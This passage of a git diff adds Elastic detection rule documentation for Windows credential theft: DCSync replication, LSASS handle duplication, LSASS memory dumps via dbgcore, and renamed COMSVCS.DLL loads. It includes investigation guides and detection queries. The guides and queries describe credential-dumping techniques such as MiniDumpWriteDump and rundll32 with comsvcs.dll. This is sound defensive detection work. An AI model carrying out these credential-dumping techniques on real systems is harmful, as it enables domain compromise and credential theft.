+[[prebuilt-rule-8-19-34-potential-credential-access-via-dcsync]] +=== Potential Credential Access via DCSync + +This rule identifies when a User Account starts the Active Directory Replication Process. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html +* https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md +* https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync +* https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Windows + +*Version*: 223 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via DCSync* + + +Active Directory replication is the process by which the changes that originate on one domain controller are automatically transferred to other domain controllers that store the same data. + +Active Directory data consists of objects that have properties, or attributes. Each object is an instance of an object class, and object classes and their respective attributes are defined in the Active Directory schema. Objects are defined by the values of their attributes, and changes to attribute values must be transferred from the domain controller on which they occur to every other domain controller that stores a replica of an affected object. + +Adversaries can use the DCSync technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller, compromising major credential material such as the Kerberos krbtgt keys used legitimately for tickets creation, but also tickets forging by attackers. This attack requires some extended privileges to succeed (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), which are granted by default to members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups. Privileged accounts can be abused to grant controlled objects the right to DCsync/Replicate. + +More details can be found on https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing[Threat Hunter Playbook] and https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync[The Hacker Recipes]. + +This rule monitors for Event ID 4662 (Operation was performed on an Active Directory object) and identifies events that use the access mask 0x100 (Control Access) and properties that contain at least one of the following or their equivalent Schema-Id-GUID (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set). It also filters out events that use computer accounts and also Azure AD Connect MSOL accounts (more details https://techcommunity.microsoft.com/t5/microsoft-defender-for-identity/ad-connect-msol-user-suspected-dcsync-attack/m-p/788028[here]). + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Correlate security events 4662 and 4624 (Logon Type 3) by their Logon ID (`winlog.logon.id`) on the Domain Controller (DC) that received the replication request. This will tell you where the AD replication request came from, and if it came from another DC or not. +- Scope which credentials were compromised (for example, whether all accounts were replicated or specific ones). + + +*False positive analysis* + + +- Administrators may use custom accounts on Azure AD Connect, investigate if it is the case, and if it is properly secured. If noisy in your environment due to expected activity, consider adding the corresponding account as a exception. +- Although replicating Active Directory (AD) data to non-Domain Controllers is not a common practice and is generally not recommended from a security perspective, some software vendors may require it for their products to function correctly. If this rule is noisy in your environment due to expected activity, consider adding the corresponding account as a exception. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the entire domain or the `krbtgt` user was compromised: + - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password reset (twice) of the `krbtgt` user. +- Investigate how the attacker escalated privileges and identify systems they used to conduct lateral movement. Use this information to determine ways the attacker could regain access to the environment. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Directory Service Access must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-access + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"windows" and event.code:"4662" and + winlog.event_data.Properties:( + *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or + *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or + *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c* + ) and winlog.event_data.AccessMask : "0x100" and + not winlog.event_data.SubjectUserName:(*$ or MSOL_*) and + not winlog.event_data.SubjectUserSid:"S-1-0-0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-duplicatehandle-in-lsass.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-duplicatehandle-in-lsass.asciidoc new file mode 100644 index 0000000000..08684f55ac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-duplicatehandle-in-lsass.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-potential-credential-access-via-duplicatehandle-in-lsass]] +=== Potential Credential Access via DuplicateHandle in LSASS + +Identifies suspicious access to an LSASS handle via DuplicateHandle from an unknown call trace module. This may indicate an attempt to bypass the NtOpenProcess API to evade detection and dump LSASS memory for credential access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/CCob/MirrorDump + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Credential Access via DuplicateHandle in LSASS* + + +The Local Security Authority Subsystem Service (LSASS) is crucial for enforcing security policies and managing user credentials in Windows environments. Adversaries may exploit the DuplicateHandle function to access LSASS memory, bypassing traditional API calls to avoid detection. The detection rule identifies suspicious LSASS handle access attempts from unknown modules, flagging potential credential dumping activities. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code "10" to gather more details about the suspicious activity, focusing on the process name "lsass.exe" and the granted access "0x40". +- Investigate the call trace details where the event data indicates "*UNKNOWN*" to identify any unknown or suspicious modules that may have initiated the DuplicateHandle request. +- Correlate the suspicious activity with other security events or alerts on the same host to determine if there are additional indicators of compromise or related malicious activities. +- Check the process tree and parent-child relationships of the lsass.exe process to identify any unusual or unauthorized processes that may have interacted with LSASS. +- Analyze the timeline of events to understand the sequence of actions leading up to and following the alert, which may help in identifying the adversary's objectives or next steps. +- Review recent changes or updates to the system that might have introduced the unknown module or altered the behavior of legitimate processes. + + +*False positive analysis* + + +- Legitimate software or security tools that interact with LSASS for monitoring or protection purposes may trigger this rule. Users should identify and whitelist these trusted applications to prevent unnecessary alerts. +- System management or administrative scripts that perform legitimate operations on LSASS might be flagged. Review these scripts and, if verified as safe, add them to an exception list to reduce false positives. +- Custom in-house applications that require access to LSASS for valid reasons could be mistakenly identified. Conduct a thorough review of these applications and exclude them from the rule if they are deemed non-threatening. +- Security testing or penetration testing activities may mimic malicious behavior. Coordinate with security teams to recognize these activities and temporarily adjust the rule settings during testing periods to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes associated with the unknown executable region accessing LSASS to halt potential credential dumping activities. +- Conduct a thorough memory analysis of the affected system to identify any malicious artifacts or indicators of compromise related to the DuplicateHandle exploitation. +- Reset credentials for all accounts that may have been accessed or compromised, prioritizing high-privilege accounts. +- Review and update endpoint protection configurations to ensure they are capable of detecting and blocking similar unauthorized access attempts in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for LSASS and related processes to detect any future attempts to exploit the DuplicateHandle function. + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-10-setup + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.code == "10" and + + /* LSASS requesting DuplicateHandle access right to another process */ + process.name : "lsass.exe" and winlog.event_data.GrantedAccess == "0x40" and + + /* call is coming from an unknown executable region */ + winlog.event_data.CallTrace : "*UNKNOWN*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-lsass-memory-dump.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-lsass-memory-dump.asciidoc new file mode 100644 index 0000000000..35553d2751 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-lsass-memory-dump.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-potential-credential-access-via-lsass-memory-dump]] +=== Potential Credential Access via LSASS Memory Dump + +Identifies suspicious access to LSASS handle from a call trace pointing to DBGHelp.dll or DBGCore.dll, which both export the MiniDumpWriteDump method that can be used to dump LSASS memory content in preparation for credential access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz +* https://www.elastic.co/security-labs/detect-credential-access +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via LSASS Memory Dump* + + + +*Possible investigation steps* + + +- What did the process-access event prove? + - Focus: `winlog.event_data.SourceImage`, `winlog.event_data.SourceProcessGUID`, `winlog.event_data.TargetImage`, `winlog.event_data.GrantedAccess`, and `winlog.event_data.CallTrace`. + - Implication: escalate on a non-WerFault source touching LSASS with dbgcore in the call trace plus any corroborator; lower concern only when the tuple matches a stable EDR, crash-analysis, support, or authorized-test workflow on that `host.id`. + +- Does the source process match a recognized diagnostic tool? + - Focus: recover the process start on the same `host.id` using `winlog.event_data.SourceProcessGUID` or `process.entity_id`, then review `process.executable`, `process.command_line`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Source process events by GUID","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{winlog.event_data.SourceProcessGUID}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the source lacks `winlog.event_data.SourceProcessGUID`, fall back to `winlog.event_data.SourceImage`, `host.id`, and a tight window around `@timestamp`; if PE or signature metadata is absent, keep identity unresolved rather than inferring trust from path. + - Implication: escalate when the recovered source is unsigned, renamed, user-writable, or uses MiniDumpWriteDump-adjacent arguments such as ProcDump-style switches or rundll32 with comsvcs.dll; if process-start telemetry is unavailable, treat identity as unresolved and do not close on `winlog.event_data.SourceImage` alone. + +- Does the recovered launch chain explain why this process would touch LSASS? + - Focus: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, `process.Ext.authentication_id`, and `user.id`; use `process.Ext.ancestry` when parent context is incomplete. + - Implication: escalate when shells, script hosts, Office, browsers, archive tools, or remote-admin launchers start the accessor, or when `user.id` does not fit recognized troubleshooting; record `process.Ext.authentication_id` only as a later session bridge, and treat missing lineage as unresolved rather than benign. + +- Do same-source file events show dump creation, rename, or staging? + - Focus: same-host file events for recovered `process.entity_id`, or `host.id` plus `process.pid` in a tight alert window; read `file.path`, `file.name`, `file.Ext.original.path`, and `file.size`. !{investigate{"description":"","label":"File activity for the source process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{winlog.event_data.SourceProcessGUID}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the accessor writes dump output to temp, public, user-writable, or share paths, or renames it into archives or deceptive extensions; missing file telemetry is unresolved, not benign. + +- Do surrounding process events show dump handling, archive, copy, or cleanup? + - Focus: child process starts from the recovered accessor on the same `host.id`, especially `process.parent.entity_id`, `process.executable`, `process.command_line`, and `@timestamp`. !{investigate{"description":"","label":"Child process events for the source process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{winlog.event_data.SourceProcessGUID}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: sibling process review remains a manual expansion from the recovered parent/session context. + - Implication: escalate when archivers, copy tools, PowerShell, rundll32, or cleanup commands appear immediately before or after the access; if process telemetry is sparse, preserve the gap and rely on the access tuple plus other corroborators. + +- Do authentication events suggest the account pivoted after the access? + - Why: MiniDumpWriteDump-style LSASS access is usually a precursor step; later credential use matters more than the access alone. + - Focus: after process recovery, use `process.Ext.authentication_id` and `host.id` to review authentication events via `winlog.event_data.TargetLogonId`; search `winlog.event_data.SubjectLogonId` separately for "4648" explicit-credential context. + - Hint: if the process does not preserve `process.Ext.authentication_id`, skip the auth bridge and record the gap. + - Implication: escalate when the linked session or `user.id` shows unexpected remote logons, explicit-credential use, or admin-share access soon after; missing authentication telemetry is unresolved, not benign. + +- If source identity, artifacts, or follow-on activity remain suspicious, do related alerts widen scope? + - Focus: related `user.id` alerts for credential access, lateral movement, privilege escalation, or suspicious authentication. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` alerts to separate account reuse from host-local dump staging. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user or host also triggers dumping, suspicious logon, lateral movement, or exfiltration findings; keep local when related alerts are absent. + +- Escalate when LSASS access plus one meaningful corroborator points to unauthorized dump preparation or credential use; close only when identity, access tuple, launch, artifacts, authentication, and scope align with one recognized benign workflow; preserve and escalate if mixed or incomplete. + + +*False positive analysis* + + +- Recognized EDR, crash-analysis, vendor-support, or authorized testing tooling can legitimately touch LSASS through dbgcore. Close only when the alert tuple, recovered source identity, parent context, `user.id`, and `host.id` all point to that same workflow, with no contradictory dump artifact or post-access authentication evidence. Case records, inventories, and owner confirmation can corroborate but not replace the telemetry match. +- Before exceptioning, validate recurrence for the same recovered tool identity, signer, parent context, `winlog.event_data.SourceImage`, `user.id`, and `host.id`. Avoid exceptions on `winlog.event_data.CallTrace`, `winlog.event_data.TargetImage`, or LSASS access alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the alert tuple, recovered source identity, parent context, `user.id`, `host.id`, and absence of contradictory dump or post-access authentication evidence. Create an exception only if the same stable workflow recurs. +- If suspicious but unconfirmed, preserve the full alert event, recovered source process event, dump artifacts, linked authentication records, `user.id`, and `host.id` before containment. Apply reversible containment first, such as heightened monitoring or temporary restrictions on the affected `host.id`; weigh host criticality before isolating domain controllers or other privileged systems, and escalate to isolation only when dump artifacts or linked authentication evidence indicates likely credential exposure. +- If confirmed malicious, preserve the alert tuple, source process identifiers, command line, parent context, dump artifact paths, and linked authentication evidence before terminating processes or deleting files. Then isolate the endpoint; if direct response is unavailable, escalate with the preserved artifact set. Restrict affected share paths when share-staged dumps were identified. +- On servers, jump hosts, or privileged admin systems, scope which local, cached, service, or administrative credentials may have been exposed, then reset or rotate affected credentials according to their role and exposure. +- Before eradication, review related hosts and users for the same source image, dump path pattern, or transfer target. Then remove dump utilities, scripts, archives, copied dumps, persistence mechanisms, and remediate the privilege path or initial access route that enabled the LSASS access. +- Post-incident hardening: retain Sysmon Event ID 10 plus supporting process, file, and authentication telemetry, and document adjacent LSASS dump paths such as ProcDump-style switches or rundll32 with comsvcs.dll for the detection engineering team. + + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-10-setup + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.code == "10" and + winlog.event_data.TargetImage : "?:\\WINDOWS\\system32\\lsass.exe" and + + /* dbgcore.dll hosts MiniDumpWriteDump on modern Windows; dbghelp-only traces are non-dump usage */ + winlog.event_data.CallTrace : "*dbgcore*" and + + /* crash handlers */ + not process.executable : ( + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\System32\\WerFaultSecure.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-renamed-com-services-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-renamed-com-services-dll.asciidoc new file mode 100644 index 0000000000..8273ff1fe8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-renamed-com-services-dll.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-potential-credential-access-via-renamed-com-services-dll]] +=== Potential Credential Access via Renamed COM+ Services DLL + +Identifies suspicious renamed COMSVCS.DLL Image Load, which exports the MiniDump function that can be used to dump a process memory. This may indicate an attempt to dump LSASS memory while bypassing command-line based detection in preparation for credential access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via Renamed COM+ Services DLL* + + + +*Possible investigation steps* + + +- What did the sequence source events prove about the loader and renamed COMSVCS image? + - Why: Timeline source events are required for grouped meaning; renamed COMSVCS can bypass command-line-only checks, so image-load PE identity matters. + - Focus: recover source events, confirm shared `process.entity_id`, and review the rundll32.exe start plus image-load `file.path`, `file.name`, `file.pe.original_file_name`, and `file.pe.imphash`. + - Implication: escalate when the same rundll32.exe instance loaded a renamed image whose original name or imphash maps to COMSVCS; lower suspicion only when source events and renamed path fit an authorized lab or debugging reproduction on the same `host.id` and `user.id`. + +- Does the rundll32 command line and launch context show MiniDump intent? + - Focus: recovered process-start `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `user.id`. + - Implication: escalate when the command line invokes MiniDump or MiniDumpW with target PID, dump path, and full, or the parent is an unexpected script, shell, archive, or remote tool; lower suspicion only when parent, user, and host match the authorized test context. + +- Was the renamed COMSVCS DLL staged or renamed immediately before rundll32 loaded it? + - Focus: loaded `file.path`, endpoint file telemetry on `host.id` and recovered `process.entity_id`, plus `process.executable`, `file.Ext.original.path`, and `file.Ext.original.name`. !{investigate{"description":"","label":"File activity for the alerting process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: missing file-create or rename telemetry leaves provenance unresolved, not benign; bound findings to observed timing and lineage. + - Implication: escalate when a different suspicious process copied or renamed COMSVCS into a user-writable, temporary, or deceptive path shortly before the load; lower suspicion only when a lab or debugging tool created the same controlled artifact in an expected test path. + +- Did the same process produce dump artifacts or credential-staging evidence? + - Focus: child-process events where `process.parent.entity_id` matches the alerting `process.entity_id`, child `process.command_line`, and endpoint file telemetry when available for `file.path`, `file.extension`, and `file.size` dump, archive, or staging output. !{investigate{"description":"","label":"Child processes of the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process or descendants write dump-like files, archives, or credential-access artifacts after MiniDump parameters; keep unresolved when telemetry is missing, and lower suspicion only when output stays confined to the authorized test target and path. + +- If local evidence is suspicious or incomplete, do related alerts expand the scope? + - Focus: recent alerts for `user.id`. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare with recent alerts for `host.id` to distinguish user-linked activity from host-local spread. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand response scope when the same user or host has related dumping, defense-evasion, or intrusion alerts; keep scope local only when related alerts are absent and the recovered loader evidence is fully resolved. + +- Escalate when source-event identity, MiniDump intent, parent lineage, provenance, artifacts, or related alerts support abuse; close only when recovered source events, available file evidence, and outside confirmation bind one exact authorized lab or debugging workflow; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Renaming COMSVCS for rundll32.exe loading is an operational anti-pattern. Close as benign only for authorized malware research, internal detonation, or debugging reproduction where source events, launcher parent, `user.id`, `host.id`, recovered renamed-DLL identity, and any dump output all align with the same test case. Without lab records, recurrence of the same loader chain, controlled artifact identity, host or user scope, and bounded follow-on pattern can support a candidate exception, but not closure. Do not close if any anchor diverges. +- Build exceptions only from the minimum confirmed workflow: parent process, controlled renamed-DLL artifact identity, `host.id`, `user.id`, and bounded output path. Avoid exceptions on rundll32.exe, COMSVCS identity, or the imphash alone because those values also describe the abuse technique. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the parent process, controlled renamed-DLL artifact identity, output path, `host.id`, and `user.id` that proved the authorized test. Keep exceptions narrow and require recurrence of the same workflow. +- If suspicious but unconfirmed, preserve the Timeline source events, recovered process identifiers, command line, parent context, renamed-DLL artifact details, staging evidence, and any dump or archive artifacts before containment. Apply reversible containment such as host isolation with criticality review or heightened monitoring on the affected `host.id`; avoid process termination or file deletion until evidence is preserved. +- If confirmed malicious, isolate the affected `host.id` after preserving source events, process context, renamed DLL, dump artifacts, and related-alert evidence. If direct response is unavailable, escalate with the preserved evidence set to the team that can act. +- Eradicate only the renamed DLL, dump files, archives, and staged artifacts identified during the investigation, then search the same host and related-alert scope for additional credential-dumping components. Reset or rotate credentials when dump artifacts, LSASS targeting, or privileged-host context indicate likely exposure. +- Post-incident hardening: restrict COMSVCS dump testing to controlled lab hosts, retain Sysmon image-load and file-create telemetry where it limited the case, and document the confirmed workflow or malicious artifact set for future triage. + + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-7-setup + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "rundll32.exe"] + [process where host.os.type == "windows" and event.code == "7" and + (file.pe.original_file_name : "COMSVCS.DLL" or file.pe.imphash : "EADBCCBB324829ACB5F2BBE87E5549A8") and + /* renamed COMSVCS */ + not file.name : "COMSVCS.DLL"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense 